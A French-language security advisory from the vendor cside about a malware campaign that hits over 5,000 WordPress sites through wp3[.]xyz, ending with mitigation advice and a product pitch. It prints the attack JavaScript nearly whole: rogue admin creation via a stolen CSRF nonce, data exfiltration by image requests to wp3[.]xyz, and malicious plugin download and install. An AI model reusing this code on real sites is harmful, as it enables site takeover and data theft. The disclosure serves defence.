Nous avons découvert une campagne de malware généralisée ciblant les sites WordPress, affectant plus de 5 000 sites dans le monde.
Le domaine malveillant : https://wp3[.]xyz/td.js.
L'un de nos utilisateurs a été affecté. cside a détecté et arrêté l'attaque.

On ne sait toujours pas comment les scripts sont entrés dans les sites. Jusqu'à présent, nous n'avons pas identifié de dénominateur commun, et notre enquête est en cours.
Nous savons que le script crée des comptes administrateur non autorisés avec un nom d'utilisateur et un mot de passe qui peuvent être trouvés dans le code.
- Nom d'utilisateur : wpx_admin
- Mot de passe : [CAVIARDÉ]
Après avoir créé le compte, le script télécharge un plugin WordPress malveillant et l'active sur le site désormais infecté - envoyant des données sensibles à un serveur distant.
Vérifiez votre site maintenant pour supprimer tous les comptes administrateur non autorisés et supprimer tous les plugins ou thèmes inutilisés.
Trouvez les sites infectés via :
Le script en détail
Tout d'abord, le script récupère le jeton CSRF nécessaire pour la requête. Ensuite, il envoie une requête POST pour créer un utilisateur avec des identifiants codés en dur. Il enregistre le statut de l'opération.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY CSIDE]');
formData.append('pass2', '[REDACTED BY CSIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Après que le script a téléchargé le plugin récupéré depuis https://wp3[.]xyz/plugin.php, le script l'active sur le site infecté. Le script communique avec https://wp3[.]xyz/tdw1.php, envoyant des données sensibles telles que les identifiants administrateur et les journaux d'opérations via des requêtes d'images obscurcies.
function sendLog(data) {
const logUrl = 'https://wp3[.]xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Une fois que l'attaquant a un accès administrateur, le script télécharge un plugin malveillant. Il récupère le plugin depuis un serveur distant et le télécharge sur le site WordPress.
La fonction installPlugin fonctionne comme suit :
- Récupère la page de téléchargement du plugin pour obtenir le jeton CSRF.
- Télécharge le fichier du plugin malveillant.
- Soumet le fichier du plugin pour installation.
Il utilise ensuite les techniques suivantes :
- Téléchargement du plugin via : /wp-admin/update[.]php?action=upload-plugin.
- Récupération du plugin depuis une source externe : https://wp3[.]xyz.
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
Le script vérifie finalement si le plugin malveillant a été installé avec succès en recherchant des références à https://wp3[.]xyz dans le contenu du site web.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3[.]xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Protégez-vous contre cette attaque
- Bloquez le domaine https://wp3[.]xyz dans les pare-feu ou les outils de sécurité.
- Auditez les comptes administrateur WordPress pour détecter les utilisateurs non autorisés.
- Supprimez les plugins suspects et validez ceux existants.
- Renforcez les protections CSRF et implémentez l'authentification multi-facteurs (MFA).
- Envisagez d'utiliser cside
L'utilisateur infecté utilisait la version gratuite de cside. Vous pouvez installer cside pour protéger votre site en quelques minutes contre cette attaque et d'autres similaires.
cside proxifie tous les scripts pour une analyse en temps réel, alertant et bloquant ceux potentiellement malveillants. Ce script récupéré depuis https://wp3[.]xyz/tdw.js a été détecté et bloqué avec succès sur le site web de notre utilisateur.
Veuillez nous contacter si vous êtes préoccupé ou souhaitez passer aux niveaux supérieurs.
Vérifiez votre site pour tous les administrateurs, assurez-vous que leurs mots de passe et leur 2FA sont correctement configurés. Vous pouvez utiliser notre crawler public pour vérifier la présence de scripts potentiellement malveillants sur votre site web.




